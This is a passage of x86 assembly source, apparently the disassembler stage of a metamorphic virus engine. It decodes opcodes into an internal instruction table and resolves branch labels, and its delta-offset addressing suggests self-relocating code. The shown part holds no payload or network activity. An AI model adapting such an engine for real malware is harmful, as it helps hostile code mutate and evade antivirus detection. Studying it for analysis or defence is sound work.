|
sub ebx, [ebp+_CODE_SECTION]
|
|
sub ebx, ebp
|
|
add ebx, [ebp+PathMarksTable]
|
|
mov eax, [ebx]
|
|
or eax, 1
|
|
mov [ebx], eax
|
|
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 3Fh
|
|
jbe @@GenericOpcode
|
|
cmp eax, 47h
|
|
jbe @@Op_INC
|
|
cmp eax, 4Fh
|
|
jbe @@Op_DEC
|
|
cmp eax, 5Fh
|
|
jbe @@Op_PUSHPOP
|
|
cmp eax, 68h
|
|
jz @@Op_PUSHValue
|
|
cmp eax, 6Ah
|
|
jz @@Op_PUSHSignedValue
|
|
cmp eax, 70h
|
|
jb @@DefineInstr_00
|
|
cmp eax, 7Fh
|
|
jbe @@Jcc
|
|
@@DefineInstr_00:
|
|
cmp eax, 80h
|
|
jb @@DefineInstr_01
|
|
cmp eax, 83h
|
|
jbe @@GenericOpcode2
|
|
@@DefineInstr_01:
|
|
cmp eax, 84h
|
|
jz @@Gen_8b_MemReg
|
|
cmp eax, 85h
|
|
jz @@Gen_32b_MemReg
|
|
cmp eax, 8Bh
|
|
jbe @@GenericOpcode
|
|
cmp eax, 8Dh
|
|
jz @@LEA
|
|
cmp eax, 8Fh
|
|
jz @@POPMem
|
|
cmp eax, 90h
|
|
jz @@NOP
|
|
cmp eax, 0A8h
|
|
jz @@TESTALValue
|
|
cmp eax, 0A9h
|
|
jz @@TESTEAXValue
|
|
cmp eax, 0B0h
|
|
jb @@DefineInstr_02
|
|
cmp eax, 0B7h
|
|
jbe @@MOVReg8Value
|
|
cmp eax, 0BFh
|
|
jbe @@MOVRegValue
|
|
@@DefineInstr_02:
|
|
cmp eax, 0C0h
|
|
jz @@BitShifting8
|
|
cmp eax, 0C1h
|
|
jz @@BitShifting32
|
|
cmp eax, 0C3h
|
|
jz @@RET
|
|
cmp eax, 0C6h
|
|
jz @@MOVMem8Value
|
|
cmp eax, 0C7h
|
|
jz @@MOVMem32Value
|
|
cmp eax, 0D0h
|
|
jz @@BitShifting8
|
|
cmp eax, 0D1h
|
|
jz @@BitShifting32
|
|
|
|
cmp eax, 0E8h
|
|
jz @@CALL
|
|
cmp eax, 0E9h
|
|
jz @@JMP
|
|
cmp eax, 0EBh
|
|
jz @@JMP8
|
|
cmp eax, 0F5h
|
|
jz @@NOP
|
|
cmp eax, 0F6h
|
|
jz @@SomeNotVeryCommon8
|
|
cmp eax, 0F7h
|
|
jz @@SomeNotVeryCommon32
|
|
cmp eax, 0FDh
|
|
jbe @@NOP
|
|
cmp eax, 0FEh
|
|
jz @@INCDECMem8
|
|
cmp eax, 0FFh
|
|
jz @@INCDECPUSHMem32
|
|
mov eax, 0FFh
|
|
@@SetOneByteInstruction:
|
|
mov [edi], eax
|
|
|
|
add edi, 10h
|
|
inc esi
|
|
@@ContinueDissasembly:
|
|
jmp @@LoopTrace
|
|
|
|
|
|
@@GenericOpcode:
|
|
and eax, 7
|
|
cmp eax, 3
|
|
jbe @@Gen_NormalOpcode
|
|
cmp eax, 4
|
|
jz @@Gen_UsingAL
|
|
cmp eax, 5
|
|
jz @@Gen_UsingEAX
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 0Fh
|
|
jz @@Opcode0F
|
|
jmp @@SetOneByteInstruction
|
|
|
|
@@Gen_NormalOpcode:
|
|
or eax, eax
|
|
jz @@Gen_8b_MemReg
|
|
cmp eax, 1
|
|
jz @@Gen_32b_MemReg
|
|
cmp eax, 2
|
|
jz @@Gen_8b_RegMem
|
|
|
|
@@Gen_32b_RegMem:
|
|
mov eax, [esi+1]
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@Gen_32b_ReglReg
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 8Bh
|
|
jnz @@Gen_32b_RegMem_0
|
|
mov eax, 40h+2
|
|
jmp @@Gen_GenMem
|
|
@@Gen_32b_RegMem_0:
|
|
and eax, 38h
|
|
add eax, 2
|
|
@@Gen_GenMem:
|
|
mov edx, [edi]
|
|
and edx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, edx
|
|
mov [edi], eax
|
|
mov eax, [esi+1]
|
|
and eax, 38h
|
|
shr eax, 3
|
|
mov [edi+7], eax
|
|
mov edx, esi
|
|
add edx, 1
|
|
call DecodeMemoryConstruction
|
|
add esi, ebx
|
|
add esi, 1
|
|
jmp @@NextInstruction
|
|
|
|
@@Gen_32b_MemReg:
|
|
mov eax, [esi+1]
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@Gen_32b_lRegReg
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 85h
|
|
jnz @@Gen_32b_MemReg_0
|
|
mov eax, 48h+3
|
|
jmp @@Gen_GenMem
|
|
@@Gen_32b_MemReg_0:
|
|
@@Gen_32b_MemReg_1:
|
|
cmp eax, 89h
|
|
jnz @@Gen_32b_MemReg_2
|
|
mov eax, 40h+3
|
|
jmp @@Gen_GenMem
|
|
@@Gen_32b_MemReg_2:
|
|
and eax, 38h
|
|
add eax, 3
|
|
jmp @@Gen_GenMem
|
|
|
|
@@Gen_32b_ReglReg:
|
|
call GenOp_SetRegReg
|
|
@@Gen_GenReglReg:
|
|
mov eax, [esi+1]
|
|
and eax, 7
|
|
mov [edi+1], eax
|
|
mov eax, [esi+1]
|
|
and eax, 38h
|
|
shr eax, 3
|
|
mov [edi+7], eax
|
|
add esi, 2
|
|
jmp @@NextInstruction
|
|
|
|
@@Gen_32b_lRegReg:
|
|
call GenOp_SetRegReg
|
|
@@Gen_GenlRegReg:
|
|
mov eax, [esi+1]
|
|
and eax, 7
|
|
mov [edi+7], eax
|
|
mov eax, [esi+1]
|
|
and eax, 38h
|
|
shr eax, 3
|
|
mov [edi+1], eax
|
|
add esi, 2
|
|
jmp @@NextInstruction
|
|
|
|
@@Gen_8b_RegMem:
|
|
mov eax, [esi+1]
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@Gen_8b_ReglReg
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 8Ah
|
|
jnz @@Gen_8b_RegMem_0
|
|
mov eax, 40h+82h
|
|
jmp @@Gen_GenMem
|
|
@@Gen_8b_RegMem_0:
|
|
and eax, 38h
|
|
add eax, 82h
|
|
jmp @@Gen_GenMem
|
|
|
|
@@Gen_8b_MemReg:
|
|
mov eax, [esi+1]
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@Gen_8b_lRegReg
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 84h
|
|
jnz @@Gen_8b_MemReg_0
|
|
mov eax, 48h+83h
|
|
jmp @@Gen_GenMem
|
|
@@Gen_8b_MemReg_0:
|
|
@@Gen_8b_MemReg_1:
|
|
cmp eax, 88h
|
|
jnz @@Gen_8b_MemReg_2
|
|
mov eax, 40h+83h
|
|
jmp @@Gen_GenMem
|
|
@@Gen_8b_MemReg_2:
|
|
and eax, 38h
|
|
add eax, 83h
|
|
jmp @@Gen_GenMem
|
|
|
|
|
|
@@Gen_8b_lRegReg:
|
|
call GenOp_SetRegReg
|
|
mov eax, [edi]
|
|
add eax, 80h
|
|
mov [edi], eax
|
|
jmp @@Gen_GenlRegReg
|
|
|
|
@@Gen_8b_ReglReg:
|
|
call GenOp_SetRegReg
|
|
mov eax, [edi]
|
|
add eax, 80h
|
|
mov [edi], eax
|
|
jmp @@Gen_GenReglReg
|
|
|
|
@@Gen_UsingAL:
|
|
mov eax, [esi]
|
|
and eax, 38h
|
|
add eax, 80h
|
|
mov edx, [edi]
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi], eax
|
|
xor eax, eax
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
cmp eax, 7Fh
|
|
jbe @@Gen_UsingAL_01
|
|
add eax, 0FFFFFF00h
|
|
@@Gen_UsingAL_01:
|
|
add esi, 2
|
|
jmp @@Gen_SetValue
|
|
|
|
@@Gen_UsingEAX:
|
|
mov eax, [esi]
|
|
and eax, 38h
|
|
mov edx, [edi]
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi], eax
|
|
mov eax, [esi+1]
|
|
add esi, 5
|
|
|
|
@@Gen_SetValue:
|
|
mov [edi+7], eax
|
|
xor eax, eax
|
|
mov [edi+1], eax
|
|
jmp @@NextInstruction
|
|
|
|
|
|
@@Op_INC: and eax, 7
|
|
mov [edi+1], eax
|
|
xor eax, eax
|
|
jmp @@Op_GenINCDEC
|
|
|
|
|
|
@@Op_DEC: and eax, 7
|
|
mov [edi+1], eax
|
|
mov eax, 28h
|
|
@@Op_GenINCDEC:
|
|
mov edx, [edi]
|
|
and edx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, edx
|
|
mov [edi], eax
|
|
mov eax, 1
|
|
mov [edi+7], eax
|
|
add esi, 1
|
|
jmp @@NextInstruction
|
|
|
|
|
|
@@Op_PUSHPOP: and eax, 7
|
|
mov [edi+1], eax
|
|
mov eax, [esi]
|
|
and eax, 58h
|
|
mov edx, [edi]
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi], eax
|
|
add esi, 1
|
|
jmp @@NextInstruction
|
|
|
|
@@Op_PUSHValue:
|
|
mov [edi], eax
|
|
mov eax, [esi+1]
|
|
mov [edi+7], eax
|
|
add esi, 5
|
|
jmp @@NextInstruction
|
|
|
|
@@Op_PUSHSignedValue:
|
|
mov eax, 68h
|
|
mov [edi], eax
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
cmp eax, 7Fh
|
|
jbe @@Op_PUSHSignedValue_01
|
|
add eax, 0FFFFFF00h
|
|
@@Op_PUSHSignedValue_01:
|
|
mov [edi+7], eax
|
|
add esi, 2
|
|
jmp @@NextInstruction
|
|
|
|
@@GenericOpcode2:
|
|
and eax, 1
|
|
or eax, eax
|
|
jz @@Gen2_8b
|
|
@@Gen2_32b:
|
|
mov eax, [esi+1]
|
|
and eax, 38h
|
|
mov edx, [edi]
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi], eax
|
|
mov eax, [esi]
|
|
and eax, 2
|
|
or eax, eax
|
|
jnz @@Gen2_Gen_Signed
|
|
@@Gen32Value:
|
|
mov eax, [esi+1]
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@Gen2_32b_Register
|
|
mov eax, [edi]
|
|
add eax, 4
|
|
mov [edi], eax
|
|
mov edx, esi
|
|
add edx, 1
|
|
call DecodeMemoryConstruction
|
|
add esi, ebx
|
|
mov eax, [esi+1]
|
|
sub esi, ebx
|
|
add esi, 3
|
|
jmp @@Gen2_Gen_Memory
|
|
|
|
@@Gen2_32b_Register:
|
|
mov eax, [esi+2]
|
|
mov [edi+7], eax
|
|
mov eax, [esi+1]
|
|
add esi, 6
|
|
jmp @@Gen2_Gen_Register
|
|
|
|
@@Gen2_8b:
|
|
mov eax, [esi+1]
|
|
and eax, 38h
|
|
add eax, 80h
|
|
mov edx, [edi]
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi], eax
|
|
@@Gen2_Gen_Signed:
|
|
@@Gen8Value:
|
|
mov eax, [esi+1]
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@Gen2_8b_Register
|
|
mov eax, [edi]
|
|
add eax, 4
|
|
mov [edi], eax
|
|
mov edx, esi
|
|
add edx, 1
|
|
call DecodeMemoryConstruction
|
|
xor eax, eax
|
|
add esi, ebx
|
|
mov eax, [esi+1]
|
|
sub esi, ebx
|
|
and eax, 0FFh
|
|
cmp eax, 7Fh
|
|
jbe @@Gen8Value_01
|
|
add eax, 0FFFFFF00h
|
|
@@Gen8Value_01:
|
|
|
|
@@Gen2_Gen_Memory:
|
|
mov [edi+7], eax
|
|
add esi, ebx
|
|
add esi, 2
|
|
jmp @@NextInstruction
|
|
|
|
@@Gen2_8b_Register:
|
|
mov eax, [esi+2]
|
|
and eax, 0FFh
|
|
cmp eax, 7Fh
|
|
jbe @@Gen2_8b_Register_01
|
|
add eax, 0FFFFFF00h
|
|
@@Gen2_8b_Register_01:
|
|
mov [edi+7], eax
|
|
mov eax, [esi+1]
|
|
add esi, 3
|
|
@@Gen2_Gen_Register:
|
|
and eax, 7
|
|
mov edx, [edi+1]
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi+1], eax
|
|
jmp @@NextInstruction
|
|
|
|
|
|
@@LEA: mov eax, 0FCh
|
|
mov [edi], eax
|
|
mov edx, esi
|
|
add edx, 1
|
|
call DecodeMemoryConstruction
|
|
mov eax, [esi+1]
|
|
and eax, 38h
|
|
shr eax, 3
|
|
mov [edi+7], eax
|
|
add esi, ebx
|
|
add esi, 1
|
|
jmp @@NextInstruction
|
|
|
|
|
|
|
|
@@POPMem: mov eax, [esi+1]
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@POPMem_butReg
|
|
mov eax, 59h
|
|
mov [edi], eax
|
|
mov edx, esi
|
|
add edx, 1
|
|
call DecodeMemoryConstruction
|
|
add esi, ebx
|
|
add esi, 1
|
|
jmp @@NextInstruction
|
|
@@POPMem_butReg:
|
|
mov eax, [esi+1]
|
|
and eax, 7
|
|
mov [edi+1], eax
|
|
mov eax, 58h
|
|
mov edx, [edi]
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi], eax
|
|
add esi, 2
|
|
jmp @@NextInstruction
|
|
|
|
|
|
@@NOP: mov eax, 0FFh
|
|
mov [edi], eax
|
|
add esi, 1
|
|
jmp @@NextInstruction
|
|
|
|
@@TESTALValue:
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
mov ecx, eax
|
|
mov eax, 0C8h
|
|
add esi, 2
|
|
@@TESTxAxValue:
|
|
mov [edi], eax
|
|
xor eax, eax
|
|
mov [edi+1], eax
|
|
mov [edi+7], ecx
|
|
jmp @@NextInstruction
|
|
|
|
|
|
@@TESTEAXValue:
|
|
mov ecx, [esi+1]
|
|
mov eax, 48h
|
|
add esi, 5
|
|
jmp @@TESTxAxValue
|
|
|
|
|
|
|
|
@@MOVRegValue:
|
|
mov eax, 40h
|
|
mov [edi], eax
|
|
mov ecx, [esi+1]
|
|
mov eax, [esi]
|
|
add esi, 5
|
|
@@MOVRegValue_Common:
|
|
and eax, 7
|
|
mov [edi+1], eax
|
|
mov [edi+7], ecx
|
|
jmp @@NextInstruction
|
|
@@MOVReg8Value:
|
|
mov eax, 0C0h
|
|
mov [edi], eax
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
mov ecx, eax
|
|
mov eax, [esi]
|
|
add esi, 2
|
|
jmp @@MOVRegValue_Common
|
|
|
|
@@BitShifting32:
|
|
mov eax, 0F0h
|
|
@@BitShifting_Common:
|
|
mov [edi], eax
|
|
mov eax, [esi+1]
|
|
and eax, 38h
|
|
mov edx, [edi+8]
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi+8], eax
|
|
mov eax, [esi+1]
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@BS32_Reg
|
|
mov eax, [edi]
|
|
add eax, 1
|
|
mov [edi], eax
|
|
mov edx, esi
|
|
add edx, 1
|
|
call DecodeMemoryConstruction
|
|
@@BS32_Common:
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 0D0h
|
|
jb @@BS32_GetNumber
|
|
mov eax, 1
|
|
sub esi, 1
|
|
jmp @@BS32_SetNumber
|
|
@@BS32_GetNumber:
|
|
add esi, ebx
|
|
mov eax, [esi+1]
|
|
sub esi, ebx
|
|
@@BS32_SetNumber:
|
|
and eax, 1Fh
|
|
mov edx, [edi+7]
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi+7], eax
|
|
add esi, ebx
|
|
add esi, 2
|
|
jmp @@NextInstruction
|
|
@@BS32_Reg:
|
|
mov eax, [esi+1]
|
|
and eax, 7
|
|
mov [edi+1], eax
|
|
mov ebx, 1
|
|
jmp @@BS32_Common
|
|
|
|
@@BitShifting8:
|
|
mov eax, 0F2h
|
|
jmp @@BitShifting_Common
|
|
|
|
|
|
@@MOVMem8Value:
|
|
mov eax, 0C4h
|
|
mov [edi], eax
|
|
mov eax, [esi+1]
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@MOVMem8_RegValue
|
|
mov edx, esi
|
|
add edx, 1
|
|
call DecodeMemoryConstruction
|
|
add esi, ebx
|
|
add esi, 1
|
|
@@MOVMem8Value_Common:
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 7Fh
|
|
jbe @@MOVMem8Value_01
|
|
add eax, 0FFFFFF00h
|
|
@@MOVMem8Value_01:
|
|
mov [edi+7], eax
|
|
add esi, 1
|
|
jmp @@NextInstruction
|
|
@@MOVMem8_RegValue:
|
|
mov eax, 0C0h
|
|
mov [edi], eax
|
|
mov eax, [esi+1]
|
|
and eax, 7
|
|
mov [edi+1], eax
|
|
add esi, 2
|
|
jmp @@MOVMem8Value_Common
|
|
|
|
|
|
@@MOVMem32Value:
|
|
mov eax, 44h
|
|
mov [edi], eax
|
|
mov eax, [esi+1]
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@MOVMem32_RegValue
|
|
mov edx, esi
|
|
add edx, 1
|
|
call DecodeMemoryConstruction
|
|
add esi, ebx
|
|
add esi, 1
|
|
mov eax, [esi]
|
|
mov [edi+7], eax
|
|
add esi, 4
|
|
jmp @@NextInstruction
|
|
@@MOVMem32_RegValue:
|
|
mov eax, 40h
|
|
mov [edi], eax
|
|
mov eax, [esi+1]
|
|
and eax, 7
|
|
mov [edi+1], eax
|
|
mov eax, [esi+2]
|
|
mov [edi+7], eax
|
|
add esi, 6
|
|
jmp @@NextInstruction
|
|
|
|
@@SomeNotVeryCommon8:
|
|
mov eax, [esi+1]
|
|
and eax, 38h
|
|
or eax, eax
|
|
jz @@TEST8Value
|
|
shr eax, 1
|
|
add eax, 0DAh
|
|
@@SNVC_Gen: mov [edi], eax
|
|
mov eax, [esi+1]
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@NOTNEGReg8
|
|
mov eax, [edi]
|
|
add eax, 1
|
|
mov [edi], eax
|
|
mov edx, esi
|
|
add edx, 1
|
|
call DecodeMemoryConstruction
|
|
add esi, ebx
|
|
add esi, 1
|
|
jmp @@NextInstruction
|
|
@@NOTNEGReg8:
|
|
mov eax, [esi+1]
|
|
and eax, 7
|
|
mov edx, [edi+1]
|
|
and edx, 0FFFFFF00h
|
|
add eax, edx
|
|
mov [edi+1], eax
|
|
add esi, 2
|
|
jmp @@NextInstruction
|
|
|
|
@@SomeNotVeryCommon32:
|
|
mov eax, [esi+1]
|
|
and eax, 38h
|
|
or eax, eax
|
|
jz @@TEST32Value
|
|
shr eax, 1
|
|
add eax, 0D8h
|
|
jmp @@SNVC_Gen
|
|
|
|
@@TEST8Value:
|
|
mov eax, 0C8h
|
|
mov [edi], eax
|
|
jmp @@Gen8Value
|
|
|
|
@@TEST32Value:
|
|
mov eax, 48h
|
|
mov [edi], eax
|
|
jmp @@Gen32Value
|
|
|
|
|
|
@@INCDECMem8:
|
|
mov eax, [esi+1]
|
|
and eax, 38h
|
|
or eax, eax
|
|
jz @@INCMem8
|
|
@@DECMem8: mov eax, 0ACh
|
|
@@INCDECMem8_Next:
|
|
mov [edi], eax
|
|
mov eax, [esi+1]
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@INCDECReg8
|
|
@@INCDECPUSH_Gen:
|
|
mov edx, esi
|
|
add edx, 1
|
|
call DecodeMemoryConstruction
|
|
add esi, ebx
|
|
add esi, 1
|
|
mov eax, 1
|
|
mov [edi+7], eax
|
|
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 0EBh
|
|
jnz @@NextInstruction
|
|
|
|
add edi, 10h
|
|
jmp @@GetEIPFromFutureLabelList
|
|
@@INCDECReg8:
|
|
mov eax, [edi]
|
|
sub eax, 4
|
|
mov [edi], eax
|
|
mov eax, [esi+1]
|
|
and eax, 7
|
|
mov [edi+1], eax
|
|
mov eax, 1
|
|
mov [edi+7], eax
|
|
add esi, 2
|
|
jmp @@NextInstruction
|
|
@@INCMem8: mov eax, 84h
|
|
jmp @@INCDECMem8_Next
|
|
|
|
|
|
@@INCDECPUSHMem32:
|
|
mov eax, [esi+1]
|
|
and eax, 38h
|
|
or eax, eax
|
|
jz @@INCMem32
|
|
cmp eax, 08h
|
|
jz @@DECMem32
|
|
cmp eax, 10h
|
|
jz @@CALLMem32
|
|
cmp eax, 20h
|
|
jz @@JMPMem32
|
|
@@PUSHMem32:
|
|
mov eax, [esi+1]
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@PUSHMem32_Reg
|
|
mov eax, 51h
|
|
mov [edi], eax
|
|
jmp @@INCDECPUSH_Gen
|
|
@@PUSHMem32_Reg:
|
|
mov eax, 50h
|
|
@@INCDECPUSH_GenMem32_Reg:
|
|
mov [edi], eax
|
|
mov eax, [esi+1]
|
|
and eax, 7
|
|
mov [edi+1], eax
|
|
mov eax, 1
|
|
mov [edi+7], eax
|
|
add esi, 2
|
|
mov eax, [edi]
|
|
and eax, 0FFh
|
|
cmp eax, 0EDh
|
|
jnz @@NextInstruction
|
|
add edi, 10h
|
|
jmp @@GetEIPFromFutureLabelList
|
|
|
|
|
|
@@INCMem32:
|
|
mov eax, [esi+1]
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@INCReg32
|
|
mov eax, 4
|
|
jmp @@INCDECMem8_Next
|
|
@@INCReg32:
|
|
xor eax, eax
|
|
jmp @@INCDECPUSH_GenMem32_Reg
|
|
|
|
@@DECMem32:
|
|
mov eax, [esi+1]
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@DECReg32
|
|
mov eax, 2Ch
|
|
jmp @@INCDECMem8_Next
|
|
@@DECReg32:
|
|
mov eax, 28h
|
|
jmp @@INCDECPUSH_GenMem32_Reg
|
|
|
|
|
|
@@CALLMem32:
|
|
mov eax, [esi+1]
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@CALLMem32_Reg
|
|
mov eax, 0EAh
|
|
mov [edi], eax
|
|
jmp @@INCDECPUSH_Gen
|
|
@@CALLMem32_Reg:
|
|
mov eax, 0ECh
|
|
jmp @@INCDECPUSH_GenMem32_Reg
|
|
@@JMPMem32:
|
|
mov eax, [esi+1]
|
|
and eax, 0C0h
|
|
cmp eax, 0C0h
|
|
jz @@JMPMem32_Reg
|
|
mov eax, 0EBh
|
|
mov [edi], eax
|
|
jmp @@INCDECPUSH_Gen
|
|
@@JMPMem32_Reg:
|
|
mov eax, 0EDh
|
|
jmp @@INCDECPUSH_GenMem32_Reg
|
|
|
|
@@NextInstruction:
|
|
add edi, 10h
|
|
jmp @@ContinueDissasembly
|
|
|
|
|
|
@@RET: mov eax, 0FEh
|
|
mov [edi], eax
|
|
inc esi
|
|
add edi, 10h
|
|
jmp @@GetEIPFromFutureLabelList
|
|
|
|
|
|
@@JMP8: mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
cmp eax, 7Fh
|
|
jbe @@JMP8_01
|
|
add eax, 0FFFFFF00h
|
|
@@JMP8_01:
|
|
add eax, 2
|
|
add eax, esi
|
|
jmp @@JMP_Next01
|
|
|
|
|
|
@@JMP: mov eax, [esi+1]
|
|
add eax, 5
|
|
add eax, esi
|
|
|
|
|
|
@@JMP_Next01:
|
|
mov ebx, [ebp+InstructionTable]
|
|
cmp ebx, edi
|
|
jz @@NoInstructions
|
|
@@FindDestinyInTable:
|
|
cmp [ebx+0Ch], eax
|
|
jz @@SetLabel
|
|
|
|
add ebx, 10h
|
|
cmp ebx, edi
|
|
jnz @@FindDestinyInTable
|
|
@@NoInstructions:
|
|
mov ecx, 0FFh
|
|
mov [edi], ecx
|
|
add edi, 10h
|
|
mov esi, eax
|
|
jmp @@LoopTrace
|
|
|
|
@@SetLabel:
|
|
mov ecx, 0E9h
|
|
mov [edi], ecx
|
|
mov edx, esi
|
|
mov [edi+0Ch], edx
|
|
add edi, 10h
|
|
push eax
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
mov ecx, eax
|
|
pop eax
|
|
cmp ecx, 0EBh
|
|
jz @@Add2ToEIP
|
|
add esi, 3
|
|
@@Add2ToEIP:
|
|
add esi, 2
|
|
|
|
call InsertLabel
|
|
|
|
mov [edi+1-10h], edx
|
|
|
|
@@GetEIPFromFutureLabelList:
|
|
mov ecx, [ebp+NumberOfLabelsPost]
|
|
or ecx, ecx
|
|
jz @@FinDeTraduccion
|
|
mov ebx, [ebp+FutureLabelTable]
|
|
@@LoopCheckForNewEIP:
|
|
mov eax, [ebx]
|
|
or eax, eax
|
|
jnz @@GetNewEIP
|
|
add ebx, 8
|
|
sub ecx, 1
|
|
or ecx, ecx
|
|
jnz @@LoopCheckForNewEIP
|
|
jmp @@FinDeTraduccion
|
|
|
|
@@GetNewEIP:
|
|
mov esi, [ebx]
|
|
jmp @@LoopTrace
|
|
|
|
|
|
@@Opcode0F:
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
cmp eax, 80h
|
|
jb @@Op0F_Next00
|
|
cmp eax, 8Fh
|
|
jbe @@Jcc32
|
|
@@Op0F_Next00:
|
|
cmp eax, 0B6h
|
|
jz @@Op0F_MOVZX
|
|
|
|
add esi, 2
|
|
jmp @@DefineInstr
|
|
|
|
@@Op0F_MOVZX:
|
|
mov eax, 0F8h
|
|
mov [edi], eax
|
|
mov eax, [esi+2]
|
|
and eax, 38h
|
|
shr eax, 3
|
|
mov [edi+7], eax
|
|
mov edx, esi
|
|
add edx, 2
|
|
call DecodeMemoryConstruction
|
|
add esi, ebx
|
|
add esi, 2
|
|
jmp @@NextInstruction
|
|
|
|
|
|
@@Jcc32: mov eax, [esi+2]
|
|
add eax, esi
|
|
add eax, 6
|
|
jmp @@ContinueWithBranchInstr
|
|
|
|
@@CALL: mov eax, [esi+1]
|
|
add eax, esi
|
|
add eax, 5
|
|
jmp @@ContinueWithBranchInstr
|
|
|
|
|
|
@@Jcc: mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
cmp eax, 7Fh
|
|
jbe @@Jcc_01
|
|
add eax, 0FFFFFF00h
|
|
@@Jcc_01:
|
|
add eax, esi
|
|
add eax, 2
|
|
|
|
@@ContinueWithBranchInstr:
|
|
mov ecx, eax
|
|
call SetInFutureLabelList
|
|
push eax
|
|
mov eax, [esi]
|
|
and eax, 0FFh
|
|
cmp eax, 0Fh
|
|
jz @@Jcc_Jcc32
|
|
|
|
cmp eax, 0E8h
|
|
jz @@Jcc_AddEIP5
|
|
jmp @@Jcc_AddEIP2
|
|
|
|
@@Jcc_Jcc32:
|
|
mov eax, [esi+1]
|
|
and eax, 0FFh
|
|
sub eax, 10h
|
|
|
|
@@Jcc_AddEIP6:
|
|
inc esi
|
|
@@Jcc_AddEIP5:
|
|
add esi, 3
|
|
@@Jcc_AddEIP2:
|
|
add esi, 2
|
|
mov edx, [edi]
|
|
and edx, 0FFFFFF00h
|
|
and eax, 0FFh
|
|
add eax, edx
|
|
mov [edi], eax
|
|
|
|
pop eax
|
|
or eax, eax
|
|
jz @@NextInstruction
|
|
|
|
|
|
call InsertLabel
|
|
mov [edi+1], edx
|
|
jmp @@NextInstruction
|
|
|
|
@@FinDeTraduccion:
|
|
ret
|
|
DisasmCode endp
|
|
|
|
SetInFutureLabelList proc
|
|
mov ebx, [ebp+InstructionTable]
|
|
cmp ebx, edi
|
|
jz @@SetFutureLabel
|
|
@@LoopCheckLabelForJcc:
|
|
cmp [ebx+0Ch], eax
|
|
jz @@Jcc_CodeDefined
|
|
add ebx, 10h
|
|
cmp ebx, edi
|
|
jnz @@LoopCheckLabelForJcc
|
|
@@SetFutureLabel:
|
|
mov edx, [ebp+NumberOfLabelsPost]
|
|
shl edx, 3
|
|
add edx, [ebp+FutureLabelTable]
|
|
mov [edx], eax
|
|
mov [edx+4], edi
|
|
mov eax, [ebp+NumberOfLabelsPost]
|
|
add eax, 1
|
|
mov [ebp+NumberOfLabelsPost], eax
|
|
xor eax, eax
|
|
@@Jcc_CodeDefined:
|
|
ret
|
|
SetInFutureLabelList endp
|
|
|
|
|
|
ReleaseFutureLabels proc
|
|
mov ecx, [ebp+NumberOfLabelsPost]
|
|
or ecx, ecx
|
|
jz @@DefineInstr
|
|
mov ebx, [ebp+FutureLabelTable]
|
|
@@LoopCheckFutureLabel:
|
|
cmp [ebx], esi
|
|
jz @@FutureLabelFound
|
|
@@OtherFutureLabel:
|
|
add ebx, 8
|
|
dec ecx
|
|
or ecx, ecx
|
|
jnz @@LoopCheckFutureLabel
|
|
@@DefineInstr:
|
|
ret
|
|
@@FutureLabelFound:
|
|
push ecx
|
|
|
|
push ebx
|
|
mov eax, esi
|
|
mov ebx, edi
|
|
call InsertLabel
|
|
pop ebx
|
|
|
|
mov eax, [ebx+4]
|
|
mov [eax+1], edx
|
|
xor ecx, ecx
|
|
mov [ebx], ecx
|
|
pop ecx
|
|
jmp @@OtherFutureLabel
|
|
ReleaseFutureLabels endp
|
|
|
|
|
|
InsertLabel proc
|
|
mov edx, [ebp+LabelTable]
|
|
mov ecx, [ebp+NumberOfLabels]
|
|
or ecx, ecx
|
|
jz @@Jcc_InsertLabel
|
|
@@Jcc_LoopLabel:
|
|
cmp [edx], eax
|
|
jz @@Jcc_LabelStillExists
|
|
add edx, 8
|
|
